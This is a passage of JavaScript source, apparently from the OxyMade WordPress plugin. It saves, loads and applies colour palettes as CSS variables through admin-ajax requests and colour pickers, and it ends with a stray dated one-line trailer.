                        Object.keys(palette).forEach(key => {
                            const value = palette[key];
                            if (value) {
                                // Key already contains -- prefix, don't add another one
                                const cssVarName = key.startsWith('--') ? key : `--${key}`;
                                iframe.contentDocument.documentElement.style.setProperty(cssVarName, value);
                            }
                        });

                        // If the iframe has its own iframes, update those too
                        const nestedIframes = iframe.contentDocument.querySelectorAll('iframe');
                        if (nestedIframes.length > 0) {
                            nestedIframes.forEach(nestedFrame => {
                                try {
                                    if (nestedFrame.contentDocument) {
                                        Object.keys(palette).forEach(key => {
                                            const value = palette[key];
                                            if (value) {
                                                // Key already contains -- prefix, don't add another one
                                                const cssVarName = key.startsWith('--') ? key : `--${key}`;
                                                nestedFrame.contentDocument.documentElement.style.setProperty(cssVarName, value);
                                            }
                                        });
                                    }
                                } catch (e) {
                                    // Ignore cross-origin errors
                                }
                            });
                        }
                    }
                } catch (e) {
                    // Ignore cross-origin errors
                }
            });
        }

        // Now use the functions after they're defined
        if (!window.parent.jQuery) {
            loadParentJQuery();
        } else {
            initPickers();
        }
    },

    // Initialize cancel button
    initializeCancelButton(panel) {
        
        // Cancel button handler - just close the panel
        const cancelButton = panel.querySelector('#cancel-palette');
        if (cancelButton) {
            cancelButton.addEventListener('click', () => {
                panel.style.right = '-350px';
            });
        }
    },

    // Save palette to database
    savePalette() {
        const $ = window.parent.jQuery;
        
        // Get all CSS color variables
        const styles = getComputedStyle(window.parent.document.documentElement);
        const flatPalette = {};

        // Collect all color variables
        const colorGroups = ['primary', 'secondary', 'tertiary', 'accent', 'neutral', 'base-white', 'base-black'];
        const shades = ['bg', 'surface', 'subtle', 'border', 'muted', 'base', 'hover', 'text', 'active', 'heading', 'dark'];
        const simpleColors = ['base-white', 'base-black'];

        colorGroups.forEach(color => {
            let colorValue;
            if (color === 'base-white' || color === 'base-black') {
                colorValue = styles.getPropertyValue(`--${color}`).trim();
            } else {
                colorValue = styles.getPropertyValue(`--base-${color}`).trim();
            }

            if (!simpleColors.includes(color)) {
                // Convert hex to RGB and store only RGB values
                const rgbColor = window.OxyMade.ColorUtils.hexToRgb(colorValue);
                flatPalette[color + '-rgb'] = rgbColor ? `${rgbColor.r}, ${rgbColor.g}, ${rgbColor.b}` : colorValue;
            }

            // Only add shades for colors that aren't white or black
            if (!simpleColors.includes(color)) {
                shades.forEach(shade => {
                    flatPalette[`${shade}-${color}`] = styles.getPropertyValue(`--${shade}-${color}`).trim();
                });
            }
            if (color === 'base-white') {
                flatPalette['base-white'] = styles.getPropertyValue('--base-white').trim();
                const whiteRgb = window.OxyMade.ColorUtils.hexToRgb(colorValue);
                flatPalette['white-rgb'] = whiteRgb ? `${whiteRgb.r}, ${whiteRgb.g}, ${whiteRgb.b}` : colorValue;
            }
            if (color === 'base-black') {
                flatPalette['base-black'] = styles.getPropertyValue('--base-black').trim();
                const blackRgb = window.OxyMade.ColorUtils.hexToRgb(colorValue);
                flatPalette['black-rgb'] = blackRgb ? `${blackRgb.r}, ${blackRgb.g}, ${blackRgb.b}` : colorValue;
            }
        });


        // Format the palette the way the server expects it
        const formattedPalette = {
            primary: {
                base: flatPalette.primary,
                status: 'active',
                shades: {
                    bg: flatPalette['bg-primary'],
                    surface: flatPalette['surface-primary'],
                    subtle: flatPalette['subtle-primary'],
                    border: flatPalette['border-primary'],
                    muted: flatPalette['muted-primary'],
                    base: flatPalette['base-primary'],
                    hover: flatPalette['hover-primary'],
                    text: flatPalette['text-primary'],
                    active: flatPalette['active-primary'],
                    heading: flatPalette['heading-primary'],
                    dark: flatPalette['dark-primary']
                }
            },
            secondary: {
                base: flatPalette.secondary,
                status: 'active',
                shades: {
                    bg: flatPalette['bg-secondary'],
                    surface: flatPalette['surface-secondary'],
                    subtle: flatPalette['subtle-secondary'],
                    border: flatPalette['border-secondary'],
                    muted: flatPalette['muted-secondary'],
                    base: flatPalette['base-secondary'],
                    hover: flatPalette['hover-secondary'],
                    text: flatPalette['text-secondary'],
                    active: flatPalette['active-secondary'],
                    heading: flatPalette['heading-secondary'],
                    dark: flatPalette['dark-secondary']
                }
            },
            tertiary: {
                base: flatPalette.tertiary,
                status: 'active',
                shades: {
                    bg: flatPalette['bg-tertiary'],
                    surface: flatPalette['surface-tertiary'],
                    subtle: flatPalette['subtle-tertiary'],
                    border: flatPalette['border-tertiary'],
                    muted: flatPalette['muted-tertiary'],
                    base: flatPalette['base-tertiary'],
                    hover: flatPalette['hover-tertiary'],
                    text: flatPalette['text-tertiary'],
                    active: flatPalette['active-tertiary'],
                    heading: flatPalette['heading-tertiary'],
                    dark: flatPalette['dark-tertiary']
                }
            },
            accent: {
                base: flatPalette.accent,
                status: 'active',
                shades: {
                    bg: flatPalette['bg-accent'],
                    surface: flatPalette['surface-accent'],
                    subtle: flatPalette['subtle-accent'],
                    border: flatPalette['border-accent'],
                    muted: flatPalette['muted-accent'],
                    base: flatPalette['base-accent'],
                    hover: flatPalette['hover-accent'],
                    text: flatPalette['text-accent'],
                    active: flatPalette['active-accent'],
                    heading: flatPalette['heading-accent'],
                    dark: flatPalette['dark-accent']
                }
            },
            neutral: {
                base: flatPalette.neutral,
                status: 'active',
                shades: {
                    bg: flatPalette['bg-neutral'],
                    surface: flatPalette['surface-neutral'],
                    subtle: flatPalette['subtle-neutral'],
                    border: flatPalette['border-neutral'],
                    muted: flatPalette['muted-neutral'],
                    base: flatPalette['base-neutral'],
                    hover: flatPalette['hover-neutral'],
                    text: flatPalette['text-neutral'],
                    active: flatPalette['active-neutral'],
                    heading: flatPalette['heading-neutral'],
                    dark: flatPalette['dark-neutral']
                }
            },
            'base-white': {
                base: flatPalette['base-white'] || '#ffffff'
            },
            'base-black': {
                base: flatPalette['base-black'] || '#101010'
            }
        };

        // Save via AJAX
        $.ajax({
            url: window.oxymadeSettings.ajaxUrl,
            type: 'POST',
            data: {
                action: 'oxymade_save_palette',
                nonce: window.oxymadeSettings.nonce,
                palette: formattedPalette,
                flatPalette: flatPalette
            },
            success: function(response) {
                if (response.success) {
                    // Show success notification
                    // You can add a visual notification here
                } else {
                    console.error('🎨 OxyMade: Failed to save palette');
                }
            },
            error: function(xhr, status, error) {
                console.error('🎨 OxyMade: Error saving palette:', error);
            }
        });
    },

    // Check if sync with Oxygen colors is enabled
    isSyncWithOxygenEnabled() {
        // Check both iframe and parent window for settings
        const settings = window.oxymadeSettings || window.parent.oxymadeSettings;

        // Check if we have the setting in oxymadeSettings
        if (settings?.syncWithOxygen !== undefined) {
            return settings.syncWithOxygen;
        }

        // Default to true if setting not found
        return true;
    },

    // Save palette to database
    savePaletteToDatabase(button = null, showNotification = false) {
        const colorData = this.collectCurrentColorData();
        const flatPalette = this.createFlatPalette(colorData);
        const $ = window.parent.jQuery;

        if (!$) {
            return;
        }

        // Check both iframe and parent window for settings
        const settings = window.oxymadeSettings || window.parent.oxymadeSettings;
        const ajaxUrl = settings?.ajaxUrl || '/wp-admin/admin-ajax.php';
        const nonce = settings?.nonce || '';
        const syncEnabled = window.OxyMade.ColorPanel.isSyncWithOxygenEnabled();

        // Show loading state on button
        if (button) {
            window.OxyMade.ColorPanel.setButtonLoading(button, true);
        }

        $.ajax({
            url: ajaxUrl,
            type: 'POST',
            data: {
                action: 'oxymade_save_palette',
                palette: colorData,
                flatPalette: flatPalette,
                nonce: nonce
            },
            success: function(response) {
                if (response.success) {
                    // Check if we should sync with Oxygen colors
                    if (syncEnabled) {
                        // Sync with Oxygen colors by updating the main primary color picker
                        const primaryColor = flatPalette['base-primary'] || flatPalette['primary'];
                        if (primaryColor) {
                            const $primaryPicker = $('#primary-color-picker', window.parent.document);
                            if ($primaryPicker.length) {
                                $primaryPicker.spectrum('set', primaryColor);
                            }
                        }
                    }

                    // Show notification if requested
                    if (showNotification) {
                        const message = syncEnabled
                            ? 'Colors saved & synced! Refresh builder to see changes.'
                            : 'Colors saved! Refresh builder to see changes.';
                        window.OxyMade.ColorPanel.showNotification(message, 'success');
                    }
                } else {
                    window.OxyMade.ColorPanel.showNotification('Failed to save colors.', 'error');
                }
                // Reset button state
                if (button) {
                    window.OxyMade.ColorPanel.setButtonLoading(button, false);
                }
            },
            error: function(xhr, status, error) {
                window.OxyMade.ColorPanel.showNotification('Error saving colors.', 'error');
                // Reset button state
                if (button) {
                    window.OxyMade.ColorPanel.setButtonLoading(button, false);
                }
            }
        });
    },

    // Cancel palette changes (revert to saved state and close panel)
    cancelPaletteChanges(button = null) {
        if (button) {
            window.OxyMade.ColorPanel.setButtonLoading(button, true);
        }

        const $ = window.parent.jQuery;
        
        // Check both iframe and parent window for settings
        const settings = window.oxymadeSettings || window.parent.oxymadeSettings;

        $.ajax({
            url: settings?.ajaxUrl || '/wp-admin/admin-ajax.php',
            type: 'GET',
            data: {
                action: 'oxymade_get_palette',
                nonce: settings?.nonce || ''
            },
            success: (response) => {
                if (response.success && response.data) {
                    window.OxyMade.ColorPanel.applySavedPalette(response.data);
                    window.OxyMade.ColorPanel.showNotification('Changes reverted to saved state', 'success');
                } else {
                    window.OxyMade.ColorPanel.showNotification('No saved palette found', 'info');
                }
            },
            error: () => {
                window.OxyMade.ColorPanel.showNotification('Error loading saved palette', 'error');
            },
            complete: () => {
                if (button) {
                    window.OxyMade.ColorPanel.setButtonLoading(button, false);
                }
                // Close the panel after resetting
                const panel = document.querySelector('.oxymade-color-panel');
                if (panel) {
                    panel.style.right = '-350px';
                }
            }
        });
    },

    // Collect current color data from the panel (read from CSS variables like breakmade)
    collectCurrentColorData() {
        const styles = getComputedStyle(window.parent.document.documentElement);
        const colorData = {};

        // Collect all color variables (exact same as breakmade)
        const colorGroups = ['primary', 'secondary', 'tertiary', 'accent', 'neutral', 'base-white', 'base-black'];
        const shades = ['bg', 'surface', 'subtle', 'border', 'muted', 'base', 'hover', 'text', 'active', 'heading', 'dark'];

        colorGroups.forEach(color => {
            colorData[color] = {};
            
            if (color === 'base-white' || color === 'base-black') {
                colorData[color].base = styles.getPropertyValue(`--${color}`).trim();
            } else {
                colorData[color].base = styles.getPropertyValue(`--base-${color}`).trim();
                colorData[color].shades = {};
                
                shades.forEach(shade => {
                    colorData[color].shades[shade] = styles.getPropertyValue(`--${shade}-${color}`).trim();
                });
            }
        });

        return colorData;
    },

    // Create flat palette format for PHP (exact match with breakmade format)
    createFlatPalette(colorData) {
        const flatPalette = {};
        const simpleColors = ['base-white', 'base-black']; // Colors without shades
        
        Object.keys(colorData).forEach(colorName => {
            const colorInfo = colorData[colorName];
            
            if (colorName === 'base-white' || colorName === 'base-black') {
                // Simple colors - store direct values
                flatPalette[colorName] = colorInfo.base;
                
                // Add RGB values for white and black
                const rgbColor = this.hexToRgb(colorInfo.base);
                if (colorName === 'base-white') {
                    flatPalette['white-rgb'] = rgbColor ? `${rgbColor.r}, ${rgbColor.g}, ${rgbColor.b}` : colorInfo.base;
                } else if (colorName === 'base-black') {
                    flatPalette['black-rgb'] = rgbColor ? `${rgbColor.r}, ${rgbColor.g}, ${rgbColor.b}` : colorInfo.base;
                }
            } else {
                // Colors with shades - store base color and RGB
                flatPalette[`base-${colorName}`] = colorInfo.base;
                
                // Add RGB values for main colors (not base-white and base-black)
                const rgbColor = this.hexToRgb(colorInfo.base);
                flatPalette[colorName + '-rgb'] = rgbColor ? `${rgbColor.r}, ${rgbColor.g}, ${rgbColor.b}` : colorInfo.base;
                
                // Add all shades
                if (colorInfo.shades) {
                    Object.keys(colorInfo.shades).forEach(shade => {
                        flatPalette[`${shade}-${colorName}`] = colorInfo.shades[shade];
                    });
                }
            }
        });
        
        return flatPalette;
    },

    // Helper function to convert hex to RGB (matching breakmade's ColorUtils)
    hexToRgb(hex) {
        // Remove # if present
        hex = hex.replace(/^#/, '');

        // Parse hex values
        let r, g, b;
        if (hex.length === 3) {
            r = parseInt(hex.charAt(0) + hex.charAt(0), 16);
            g = parseInt(hex.charAt(1) + hex.charAt(1), 16);
            b = parseInt(hex.charAt(2) + hex.charAt(2), 16);
        } else {
            r = parseInt(hex.substring(0, 2), 16);
            g = parseInt(hex.substring(2, 4), 16);
            b = parseInt(hex.substring(4, 6), 16);
        }

        return { r, g, b };
    },

    // Ensure jQuery is loaded before proceeding
    ensureJQueryLoaded(callback) {
        if (window.parent.jQuery) {
            callback();
            return;
        }
        
        const script = window.parent.document.createElement('script');
        script.src = 'https://code.jquery.com/jquery-3.7.1.min.js';
        script.onload = callback;
        window.parent.document.head.appendChild(script);
    },

    // Load saved palette from database
    loadSavedPalette(callback) {

        const $ = window.parent.jQuery;

        // Use iframe's oxymadeSettings first, fallback to parent window
        const settings = window.oxymadeSettings || window.parent.oxymadeSettings;
        
        if (!settings || !settings.ajaxUrl) {
            console.error('🎨 OxyMade: oxymadeSettings not available, creating fallback...');
            // Create fallback settings
            const fallbackSettings = {
                ajaxUrl: window.parent.location.origin + '/wp-admin/admin-ajax.php',
                nonce: 'fallback-nonce'
            };
            settings = fallbackSettings;
        }
        
        $.ajax({
            url: settings.ajaxUrl,
            type: 'GET',
            data: {
                action: 'oxymade_get_palette',
                nonce: settings.nonce
            },
            success: function(response) {
                let paletteLoaded = false;
                
                if (response.success && response.data && response.data.flatPalette) {
                    // Apply loaded palette to CSS variables
                    Object.keys(response.data.flatPalette).forEach(key => {
                        const value = response.data.flatPalette[key];
                        if (value) {
                            const cssVarName = key.startsWith('--') ? key : `--${key}`;
                            window.parent.document.documentElement.style.setProperty(cssVarName, value);
                        }
                    });
                    
                    // Update color picker fields with loaded values
                    window.OxyMade.ColorPanel.updateColorPickerFields(response.data.flatPalette);
                    
                    paletteLoaded = true;
                }
                if (callback) callback(paletteLoaded);
            },
            error: function(xhr, status, error) {
                console.error('🎨 OxyMade: Error loading palette:', {xhr, status, error});
                if (callback) callback(false);
            }
        });
    },

    // Update color picker fields with loaded values
    updateColorPickerFields(flatPalette, retryCount = 0) {
        const $ = window.parent.jQuery;
        
        // Check if Spectrum is loaded before calling .spectrum()
        if (!$.fn.spectrum) {
            if (retryCount < 10) { // Max 10 retries (1 second total)
                setTimeout(() => {
                    this.updateColorPickerFields(flatPalette, retryCount + 1);
                }, 100);
                return;
            } else {
                console.error('Spectrum color picker failed to load after 10 attempts, skipping color updates');
                return;
            }
        }
        
        // Update main primary color picker
        if (flatPalette['base-primary']) {
            const primaryInput = $('#primary-color-picker', window.parent.document);
            if (primaryInput.length) {
                primaryInput.spectrum('set', flatPalette['base-primary']);
            }
        }
        
        // Update main color pickers
        const mainColors = ['primary', 'secondary', 'tertiary', 'accent', 'neutral'];
        mainColors.forEach(color => {
            const baseKey = `base-${color}`;
            if (flatPalette[baseKey]) {
                const input = $(`#${color}-color-picker`, window.parent.document);
                if (input.length) {
                    input.spectrum('set', flatPalette[baseKey]);
                }
            }
        });
        
        // Update individual shade pickers
        const shades = ['bg', 'surface', 'subtle', 'border', 'muted', 'base', 'hover', 'text', 'active', 'heading', 'dark'];
        mainColors.forEach(color => {
            shades.forEach(shade => {
                const key = `${shade}-${color}`;
                if (flatPalette[key]) {
                    const input = $(`#${shade}-${color}-picker`, window.parent.document);
                    if (input.length) {
                        input.spectrum('set', flatPalette[key]);
                    }
                }
            });
        });
        
    },

    // Apply saved palette to the document
    applySavedPalette(paletteData) {
        
        // Apply each color and its shades
        Object.keys(paletteData).forEach(colorName => {
            const colorData = paletteData[colorName];
            
            if (colorName === 'base-white' || colorName === 'base-black') {
                // Simple colors
                window.parent.document.documentElement.style.setProperty(`--${colorName}`, colorData.base);
            } else {
                // Colors with shades
                window.parent.document.documentElement.style.setProperty(`--base-${colorName}`, colorData.base);
                
                if (colorData.shades) {
                    Object.keys(colorData.shades).forEach(shade => {
                        window.parent.document.documentElement.style.setProperty(`--${shade}-${colorName}`, colorData.shades[shade]);
                    });
                }
            }
        });

        // Update the color panel UI to reflect the changes
        this.updateColorPanelUI(paletteData);
    },

    // Update color panel UI with new values
    updateColorPanelUI(paletteData) {
        // Update color previews and input values
        Object.keys(paletteData).forEach(colorName => {
            const colorData = paletteData[colorName];
            
            // Update main color input
            const colorInput = window.parent.document.querySelector(`.oxymade-color-input[data-color="${colorName}"]`);
            if (colorInput) {
                colorInput.value = colorData.base;
                // Update preview
                const preview = colorInput.closest('.oxymade-color-field').querySelector('.oxymade-color-preview');
                if (preview) {
                    preview.style.backgroundColor = colorData.base;
                }
            }
            
            // Update shade inputs if they exist
            if (colorData.shades) {
                Object.keys(colorData.shades).forEach(shade => {
                    const shadeInput = window.parent.document.querySelector(`.oxymade-color-input[data-color="${colorName}"][data-shade="${shade}"]`);
                    if (shadeInput) {
                        shadeInput.value = colorData.shades[shade];
                        // Update preview
                        const preview = shadeInput.closest('.oxymade-color-field').querySelector('.oxymade-color-preview');
                        if (preview) {
                            preview.style.backgroundColor = colorData.shades[shade];
                        }
                    }
                });
            }
        });
    },

    // Set button loading state
    setButtonLoading(button, isLoading) {
        // Handle both jQuery objects and DOM elements
        const buttonElement = button.jquery ? button[0] : button;
        
        if (isLoading) {
            // Store original content
            buttonElement.setAttribute('data-original-html', buttonElement.innerHTML);
            buttonElement.setAttribute('data-original-text', buttonElement.textContent);
            
            // Show loading state
            if (buttonElement.id === 'save-palette') {
                // Icon button - show spinner
                buttonElement.innerHTML = `
                    <svg xmlns="https://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="spinner">
                        <path d="M21 12a9 9 0 11-6.219-8.56"/>
                    </svg>
                `;
            } else {
                // Full button - show text with spinner
                buttonElement.innerHTML = `
                    <svg xmlns="https://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="spinner">
                        <path d="M21 12a9 9 0 11-6.219-8.56"/>
                    </svg>
                    Saving...
                `;
            }
            
            // Disable button
            buttonElement.disabled = true;
            buttonElement.style.opacity = '0.7';
            buttonElement.style.cursor = 'not-allowed';
            
            // Add spinner animation
            const spinner = buttonElement.querySelector('.spinner');
            if (spinner) {
                spinner.style.animation = 'spin 1s linear infinite';
            }
        } else {
            // Restore original content
            const originalHtml = buttonElement.getAttribute('data-original-html');
            if (originalHtml) {
                buttonElement.innerHTML = originalHtml;
                buttonElement.removeAttribute('data-original-html');
                buttonElement.removeAttribute('data-original-text');
            }
            
            // Re-enable button
            buttonElement.disabled = false;
            buttonElement.style.opacity = '1';
            buttonElement.style.cursor = 'pointer';
        }
    },

    // Show notification to user inside the color panel
    showNotification(message, type = 'success') {
        try {
            const saveStatus = window.parent.document.getElementById('oxymade-save-status');
            if (!saveStatus) return;

            const saveMessage = saveStatus.querySelector('.save-message');
            const saveIcon = saveStatus.querySelector('.save-icon');

            // Update message
            if (saveMessage) {
                saveMessage.textContent = message;
            }

            // Update icon and background color based on type
            if (saveIcon) {
                if (type === 'success') {
                    // Success checkmark icon
                    saveIcon.innerHTML = '<polyline points="20 6 9 17 4 12"></polyline>';
                    saveStatus.style.background = 'linear-gradient(135deg, #10b981 0%, #059669 100%)';
                    saveStatus.style.boxShadow = '0 2px 8px rgba(16, 185, 129, 0.25)';
                } else if (type === 'error') {
                    // Error X icon
                    saveIcon.innerHTML = '<circle cx="12" cy="12" r="10"></circle><line x1="15" y1="9" x2="9" y2="15"></line><line x1="9" y1="9" x2="15" y2="15"></line>';
                    saveStatus.style.background = 'linear-gradient(135deg, #ef4444 0%, #dc2626 100%)';
                    saveStatus.style.boxShadow = '0 2px 8px rgba(239, 68, 68, 0.25)';
                } else {
                    // Info icon
                    saveIcon.innerHTML = '<circle cx="12" cy="12" r="10"></circle><line x1="12" y1="16" x2="12" y2="12"></line><line x1="12" y1="8" x2="12.01" y2="8"></line>';
                    saveStatus.style.background = 'linear-gradient(135deg, #3b82f6 0%, #2563eb 100%)';
                    saveStatus.style.boxShadow = '0 2px 8px rgba(59, 130, 246, 0.25)';
                }
            }

            // Show with fade in
            saveStatus.style.display = 'flex';
            saveStatus.style.opacity = '0';

            setTimeout(() => {
                saveStatus.style.opacity = '1';
            }, 10);

            // Hide after 2 seconds
            setTimeout(() => {
                saveStatus.style.opacity = '0';
                setTimeout(() => {
                    saveStatus.style.display = 'none';
                }, 300);
            }, 2000);
        } catch (error) {
            // Silently fail
        }
    }
};

OHA YOOO - Tarih: 2026-08-04 00:32:32